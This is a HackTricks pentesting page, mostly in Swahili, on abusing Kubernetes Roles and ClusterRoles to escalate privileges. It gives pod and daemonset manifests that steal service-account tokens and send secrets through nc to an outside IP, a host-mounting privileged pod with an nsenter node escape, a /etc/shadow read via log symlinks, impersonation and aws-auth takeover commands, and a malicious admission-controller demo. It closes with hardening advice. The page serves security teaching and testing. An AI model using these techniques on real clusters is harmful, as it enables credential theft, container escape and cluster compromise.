Abusing Roles/ClusterRoles in Kubernetes

Support HackTricks

Hapa unaweza kupata baadhi ya mipangilio ya Roles na ClusterRoles inayoweza kuwa hatari. Kumbuka kwamba unaweza kupata rasilimali zote zinazoungwa mkono kwa kutumia kubectl api-resources

Privilege Escalation

Inarejelea sanaa ya kupata ufikiaji wa principal tofauti ndani ya klasta ikiwa na ruhusa tofauti (ndani ya klasta ya kubernetes au kwa mawingu ya nje) kuliko zile ulizo nazo tayari, katika Kubernetes kuna kimsingi mbinu 4 kuu za kupandisha ruhusa:

  • Kuwa na uwezo wa kujifanya mtumiaji/katika makundi/SAs wengine wenye ruhusa bora ndani ya klasta ya kubernetes au kwa mawingu ya nje

  • Kuwa na uwezo wa kuunda/kusasisha/kutekeleza pods ambapo unaweza kupata au kuunganisha SAs wenye ruhusa bora ndani ya klasta ya kubernetes au kwa mawingu ya nje

  • Kuwa na uwezo wa kusoma siri kwani token za SAs zimehifadhiwa kama siri

  • Kuwa na uwezo wa kutoroka hadi kwenye node kutoka kwenye kontena, ambapo unaweza kuiba siri zote za kontena zinazofanya kazi kwenye node, akidi za node, na ruhusa za node ndani ya wingu inayoendesha (ikiwa ipo)

  • Mbinu ya tano inayostahili kutajwa ni uwezo wa kukimbia port-forward katika pod, kwani unaweza kuwa na uwezo wa kufikia rasilimali za kuvutia ndani ya pod hiyo.

Access Any Resource or Verb (Wildcard)

wildcard (*) inatoa ruhusa juu ya rasilimali yoyote na kitenzi chochote. Inatumika na wasimamizi. Ndani ya ClusterRole hii inamaanisha kwamba mshambuliaji anaweza kutumia anynamespace katika klasta

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Access Any Resource with a specific verb

Katika RBAC, ruhusa fulani zina hatari kubwa:

  1. create: Inatoa uwezo wa kuunda rasilimali yoyote ya klasta, ikihatarisha kupanda kwa mamlaka.

  2. list: Inaruhusu kuorodhesha rasilimali zote, ikihatarisha kuvuja kwa data nyeti.

  3. get: Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikileta tishio la usalama.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Mshambuliaji mwenye ruhusa za kuunda pod, anaweza kuunganisha Akaunti ya Huduma yenye mamlaka ndani ya pod na kuiba token ili kujifanya kuwa Akaunti ya Huduma. Kwa ufanisi inainua mamlaka kwake.

Mfano wa pod ambayo itakuwa na uwezo wa kuiba token ya akaunti ya huduma ya bootstrap-signer na kuisafirisha kwa mshambuliaji:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Ifuatayo inaonyesha haki zote ambazo kontena linaweza kuwa nazo:

  • Upatikanaji wa haki (kuondoa ulinzi na kuweka uwezo)

  • Zima namespaces hostIPC na hostPid ambazo zinaweza kusaidia kuongeza haki

  • Zima hostNetwork namespace, ikitoa upatikanaji wa kuiba haki za wingu za nodi na upatikanaji bora wa mitandao

  • Mount hosts / ndani ya kontena

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Unda pod na:

kubectl --token $token create -f mount_root.yaml

Moja kwa moja kutoka hiki tweet na nyongeza chache:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Sasa kwamba unaweza kutoroka kwenye node angalia mbinu za baada ya unyakuzi katika:

Stealth

Huenda unataka kuwa stealthier, katika kurasa zinazofuata unaweza kuona kile ambacho unaweza kufikia ikiwa utaunda pod kwa kuwezesha baadhi tu ya mamlaka yaliyotajwa katika kigezo kilichopita:

  • Privileged + hostPID

  • Privileged tu

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Unaweza kupata mfano wa jinsi ya kuunda/kutumia vibaya mipangilio ya pods zilizopatiwa mamlaka katika https://github.com/BishopFox/badPods

Pod Create - Hamia kwenye wingu

Ikiwa unaweza kuunda pod (na hiari akaunti ya huduma) huenda ukawa na uwezo wa kupata mamlaka katika mazingira ya wingu kwa kuteua majukumu ya wingu kwa pod au akaunti ya huduma na kisha kuifikia. Zaidi ya hayo, ikiwa unaweza kuunda pod yenye nafasi ya mtandao wa mwenyeji unaweza kuiba IAM jukumu la node mfano.

Kwa maelezo zaidi angalia:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Inawezekana kutumia vibaya ruhusa hizi ili kuunda pod mpya na kuanzisha mamlaka kama katika mfano wa awali.

Yaml ifuatayo inaunda daemonset na inatoa token ya SA ndani ya pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec ni rasilimali katika kubernetes inayotumika kwa kukimbia amri katika shell ndani ya pod. Hii inaruhusu kukimbia amri ndani ya kontena au kupata shell ndani.

Hivyo, inawezekana kuingia ndani ya pod na kuiba token ya SA, au kuingia pod yenye mamlaka, kutoroka hadi kwenye node, na kuiba token zote za pods katika node na (ab) kutumia node:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Ruhusa hii inaruhusu kupeleka bandari moja ya ndani kwa bandari moja katika pod iliyoainishwa. Hii inakusudia kuwezesha kufuatilia programu zinazotembea ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kuitumia vibaya kupata ufikiaji wa programu za kuvutia (kama DBs) au programu zenye udhaifu (webs?) ndani ya pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Kama ilivyoonyeshwa katika utafiti huu, ikiwa unaweza kufikia au kuunda pod yenye hosts /var/log/ directory iliyowekwa juu yake, unaweza kutoroka kutoka kwenye kontena. Hii ni kwa sababu wakati Kube-API inajaribu kupata logi ya kontena (kwa kutumia kubectl logs <pod>), inafanya ombwe la faili 0.log la pod kwa kutumia /logs/ endpoint ya huduma ya Kubelet. Huduma ya Kubelet inatoa /logs/ endpoint ambayo kimsingi ni kuweka wazi mfumo wa faili wa /var/log wa kontena.

Hivyo, mshambuliaji mwenye ufikiaji wa kuandika katika folda /var/log/ ya kontena anaweza kutumia tabia hii kwa njia 2:

  • Kubadilisha faili 0.log la kontena lake (ambalo kawaida liko katika /var/logs/pods/namespace_pod_uid/container/0.log) kuwa symlink inayotaja /etc/shadow kwa mfano. Kisha, utaweza kutoa faili la kivuli cha wenyeji kwa kufanya:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Ikiwa mshambuliaji anadhibiti kiongozi yeyote mwenye idhini za kusoma nodes/log, anaweza tu kuunda symlink katika /host-mounted/var/log/sym hadi / na wakati anapofikia https://<gateway>:10250/logs/sym/ atataja mfumo wa faili wa mzizi wa mwenyeji (kubadilisha symlink kunaweza kutoa ufikiaji wa faili).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Maabara na exploit ya otomatiki inaweza kupatikana katika https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Kupita ulinzi wa readOnly

Ikiwa una bahati na uwezo wa juu wa `CAP_SYS_ADMIN upo, unaweza tu kuunganisha tena folda hiyo kama rw:

mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

Kama ilivyoelezwa katika utafiti huu inawezekana kupita ulinzi:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Ambayo ilikusudia kuzuia kutoroka kama zile za awali kwa, badala ya kutumia mtego wa hostPath, kutumia PersistentVolume na PersistentVolumeClaim ili kuunganisha folda ya mwenyeji ndani ya kontena kwa ufikiaji wa kuandika:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Kujifanya kuwa akaunti zenye mamlaka

Kwa kutumia ujumbe wa kujifanya mamlaka, mshambuliaji anaweza kujifanya kuwa akaunti yenye mamlaka.

Tumia tu parameter --as=<username> katika amri ya kubectl kujifanya kuwa mtumiaji, au --as-group=<group> kujifanya kuwa kundi:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Au tumia API ya REST:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

Ruhusa ya kuorodhesha siri inaweza kumruhusu mshambuliaji kusoma siri hizo kwa kufikia mwisho wa API ya REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kusoma siri – kujaribu nguvu za IDs za token

Wakati mshambuliaji mwenye token yenye ruhusa za kusoma anahitaji jina sahihi la siri ili kuweza kuitumia, tofauti na ruhusa pana ya kuorodhesha siri, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho kisichobadilika kinachofuatiwa na token ya alphanumeric ya herufi tano za nasibu (bila herufi fulani) kulingana na kanuni ya chanzo.

Token inazalishwa kutoka kwenye seti ndogo ya herufi 27 (bcdfghjklmnpqrstvwxz2456789), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kujaribu nguvu ili kubaini token hiyo ndani ya masaa machache, ambayo inaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti.

Maombi ya Kusaini Cheti

Ikiwa una vitenzi create katika rasilimali certificatesigningrequests (au angalau katika certificatesigningrequests/nodeClient). Unaweza kuunda CeSR mpya ya node mpya.

Kulingana na nyaraka inawezekana kuidhinisha maombi haya kiotomatiki, hivyo katika hali hiyo huhitaji ruhusa za ziada. Ikiwa sivyo, unahitaji kuwa na uwezo wa kuidhinisha ombi, ambayo inamaanisha sasisha katika certificatesigningrequests/approval na approve katika signers na resourceName <signerNameDomain>/<signerNamePath> au <signerNameDomain>/*

Mfano wa role yenye ruhusa zote zinazohitajika ni:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Hivyo, na CSR mpya ya node iliyothibitishwa, unaweza kuabudu ruhusa maalum za nodes ili kuchukua siri na kuinua mamlaka.

Katika post hii na hii moja usanidi wa GKE K8s TLS Bootstrap umewekwa na saini ya kiotomatiki na unatumika vibaya kuzalisha ithibati za Node mpya ya K8s na kisha kuabudu hizo ili kuinua mamlaka kwa kuchukua siri. Ikiwa una mamlaka zilizotajwa unaweza kufanya kitu kama hicho. Kumbuka kwamba mfano wa kwanza unakwepa kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu node inaweza kufikia tu siri za kontena zilizowekwa juu yake.

Njia ya kukwepa hii ni tu kuunda ithibati ya node kwa jina la node ambapo kontena lenye siri za kuvutia limewekwa (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Wajibu wanaoweza kubadilisha configmaps katika eneo la kube-system kwenye EKS (lazima wawe ndani ya AWS) vikundi wanaweza kupata haki za usimamizi wa klasta kwa kubadilisha configmap ya aws-auth. Vitenzi vinavyohitajika ni update na patch, au create ikiwa configmap haijaundwa:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Unaweza kutumia aws-auth kwa kuendelea kutoa ufikiaji kwa watumiaji kutoka akaunti nyingine.

Hata hivyo, aws --profile other_account eks update-kubeconfig --name <cluster-name> haifanyi kazi kutoka akaunti tofauti. Lakini kwa kweli aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing inafanya kazi ikiwa utaweka ARN ya klasta badala ya jina tu. Ili kufanya kubectl ifanye kazi, hakikisha tu unapanga kubeconfig ya waathirika na katika arg za aws exec ongeza --profile other_account_role ili kubectl itumie profaili ya akaunti nyingine kupata token na kuwasiliana na AWS.

Kuongeza Haki katika GKE

Kuna njia 2 za kutoa ruhusa za K8s kwa wakuu wa GCP. Katika hali yoyote mkuu pia anahitaji ruhusa container.clusters.get ili kuwa na uwezo wa kukusanya akidi za kuingia kwenye klasta, au utahitaji kuunda faili yako ya kubectl config (fuata kiungo kinachofuata).

Wakati wa kuzungumza na kiunganishi cha K8s api, token ya uthibitisho ya GCP itatumwa. Kisha, GCP, kupitia kiunganishi cha K8s api, kwanza itachunguza kama mkuu (kwa barua pepe) ana ufikiaji wowote ndani ya klasta, kisha itachunguza kama ana ufikiaji wowote kupitia GCP IAM. Ikiwa yoyote kati ya hizo ni kweli, atajibiwa. Ikiwa siyo makosa yanayopendekeza kutoa ruhusa kupitia GCP IAM yatatolewa.

Kisha, njia ya kwanza ni kutumia GCP IAM, ruhusa za K8s zina ruhusa sawa za GCP IAM, na ikiwa mkuu ana hiyo, ataweza kuitumia.

GCP - Container Privesc

Njia ya pili ni kutoa ruhusa za K8s ndani ya klasta kwa kutambua mtumiaji kwa barua pepe yake (akaunti za huduma za GCP zimejumuishwa).

Unda token za serviceaccounts

Wakuu wanaoweza kuunda TokenRequests (serviceaccounts/token) Wakati wa kuzungumza na kiunganishi cha K8s api SAs (habari kutoka hapa).

ephemeralcontainers

Wakuu wanaoweza update au patch pods/ephemeralcontainers wanaweza kupata utendaji wa msimbo kwenye pods nyingine, na kwa uwezekano kuvunja kwenye node yao kwa kuongeza kontena ya muda mfupi yenye securityContext yenye mamlaka.

ValidatingWebhookConfigurations au MutatingWebhookConfigurations

Wakuu wenye mojawapo ya vitenzi create, update au patch juu ya validatingwebhookconfigurations au mutatingwebhookconfigurations wanaweza kuwa na uwezo wa kuunda mojawapo ya webhookconfigurations hizo ili waweze kuongeza mamlaka.

Kwa mfano wa mutatingwebhookconfigurations angalia sehemu hii ya chapisho hili.

Pandisha

Kama unavyoweza kusoma katika sehemu inayofuata: Kuzuia Kuongeza Mamlaka ya Kijadi, mkuu cannot update wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana kitenzi escalate juu ya roles au clusterroles. Kisha anaweza kuupdate/kuunda roles mpya, clusterroles zenye ruhusa bora kuliko zile alizonazo.

Nodes proxy

Wakuu wenye ufikiaji wa nodes/proxy subresource wanaweza kutekeleza msimbo kwenye pods kupitia Kubelet API (kulingana na hii). Habari zaidi kuhusu uthibitisho wa Kubelet katika ukurasa huu:

Kubelet Authentication & Authorization

Una mfano wa jinsi ya kupata RCE ukizungumza na Kubelet API hapa.

Futa pods + nodes zisizoweza kupanga

Wakuu wanaoweza kufuta pods (delete verb juu ya pods resource), au kuhamasisha pods (create verb juu ya pods/eviction resource), au kubadilisha hali ya pod (ufikiaji wa pods/status) na wanaweza kufanya nodes nyingine zisizoweza kupanga (ufikiaji wa nodes/status) au kufuta nodes (delete verb juu ya nodes resource) na ana udhibiti juu ya pod, wanaweza kuiba pods kutoka nodes nyingine ili ziwe zinatekelezwa katika node iliyoathirika na mshambuliaji anaweza kuiba token kutoka kwa pods hizo.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Hali za Huduma (CVE-2020-8554)

Wajibu wanaoweza kubadilisha services/status wanaweza kuweka uwanja wa status.loadBalancer.ingress.ip ili kutumia CVE-2020-8554 isiyorekebishwa na kuanzisha MiTM attacks dhidi ya kluster. Mitihani mingi ya CVE-2020-8554 inazuia tu huduma za ExternalIP (kulingana na hii).

Hali za Nodes na Pods

Wajibu wenye ruhusa za update au patch juu ya nodes/status au pods/status, wanaweza kubadilisha lebo ili kuathiri vikwazo vya kupanga vilivyowekwa.

Kinga ya Kuinua Privilege iliyojengwa ndani

Kubernetes ina mekanismu iliyojengwa ndani ya kuzuia kuinua privilege.

Mfumo huu unahakikisha kwamba watumiaji hawawezi kuinua privileges zao kwa kubadilisha majukumu au uhusiano wa majukumu. Utekelezaji wa sheria hii unafanyika katika ngazi ya API, ukitoa kinga hata wakati mthibitishaji wa RBAC haupo.

Sheria inasema kwamba mtumiaji anaweza tu kuunda au kubadilisha jukumu ikiwa ana ruhusa zote zinazohitajika na jukumu hilo. Aidha, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na ule wa jukumu wanalojaribu kuunda au kubadilisha: ama kwa kiwango cha kluster kwa ClusterRoles au kufungwa kwenye namespace moja (au kwa kiwango cha kluster) kwa Roles.

Kuna ubaguzi wa sheria ya awali. Ikiwa wajibu ana kitenzi escalate juu ya roles au clusterroles anaweza kuongeza privileges za majukumu na clusterroles hata bila kuwa na ruhusa hizo mwenyewe.

Pata & Patch RoleBindings/ClusterRoleBindings

Kwa kweli, mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya privileges ikiwa tayari huna.

Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji kuunganisha majukumu na akaunti ya huduma. Ruhusa hii inaweza kupelekea kuinua privilege kwa sababu inaruhusu mtumiaji kuunganisha ruhusa za admin kwa akaunti ya huduma iliyovunjwa.

Mashambulizi Mengine

Programu ya proxy ya Sidecar

Kwa kawaida hakuna usimbuaji katika mawasiliano kati ya pods. Uthibitishaji wa pamoja, wa pande mbili, kutoka pod hadi pod.

Unda programu ya proxy ya sidecar

Unda yako .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Hariri .yaml yako na ongeza mistari isiyo na maoni:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Tazama kumbukumbu za proxy:

kubectl logs app -C proxy

More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Malicious Admission Controller

An admission controller inakata maombi kwa seva ya API ya Kubernetes kabla ya kudumu kwa kitu, lakini baada ya maombi kuthibitishwa na kuidhinishwa.

Ikiwa mshambuliaji kwa namna fulani anafanikiwa kuingiza Mutationg Admission Controller, ataweza kubadilisha maombi ambayo tayari yameidhinishwa. Kuwa na uwezo wa kuweza privesc, na kwa kawaida kudumu katika klasta.

Mfano kutoka https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Angalia hali ili kuona kama iko tayari:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Kisha peleka pod mpya:

kubectl run nginx --image nginx
kubectl get po -w

Wakati unaweza kuona kosa la ErrImagePull, angalia jina la picha kwa kutumia mojawapo ya maswali yafuatayo:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Kama unavyoona kwenye picha hapo juu, tulijaribu kuendesha picha nginx lakini picha iliyotekelezwa mwishowe ni rewanthtammana/malicious-image. Nini kimetokea!!?

Technicalities

Scripti ./deploy.sh inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikihusisha matokeo yanayoonekana:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes - OPA Gatekeeper bypass

Best Practices

Kuzima Automount ya Tokens za Akaunti ya Huduma

  • Pods na Akaunti za Huduma: Kwa kawaida, pods huweka token ya akaunti ya huduma. Ili kuboresha usalama, Kubernetes inaruhusu kuzima kipengele hiki cha automount.

  • Jinsi ya Kutumia: Weka automountServiceAccountToken: false katika usanidi wa akaunti za huduma au pods kuanzia toleo la Kubernetes 1.6.

Kuteua Watumiaji kwa Uangalifu katika RoleBindings/ClusterRoleBindings

  • Injini ya Uchaguzi: Hakikisha kuwa watumiaji muhimu pekee wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na uondoe watumiaji wasiohusika ili kudumisha usalama mkali.

Majukumu Maalum ya Namespace Badala ya Majukumu ya Kiwango cha Klasta

  • Majukumu vs. ClusterRoles: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha klasta. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa.

Tumia zana za kiotomatiki

Marejeleo

Support HackTricks

Last updated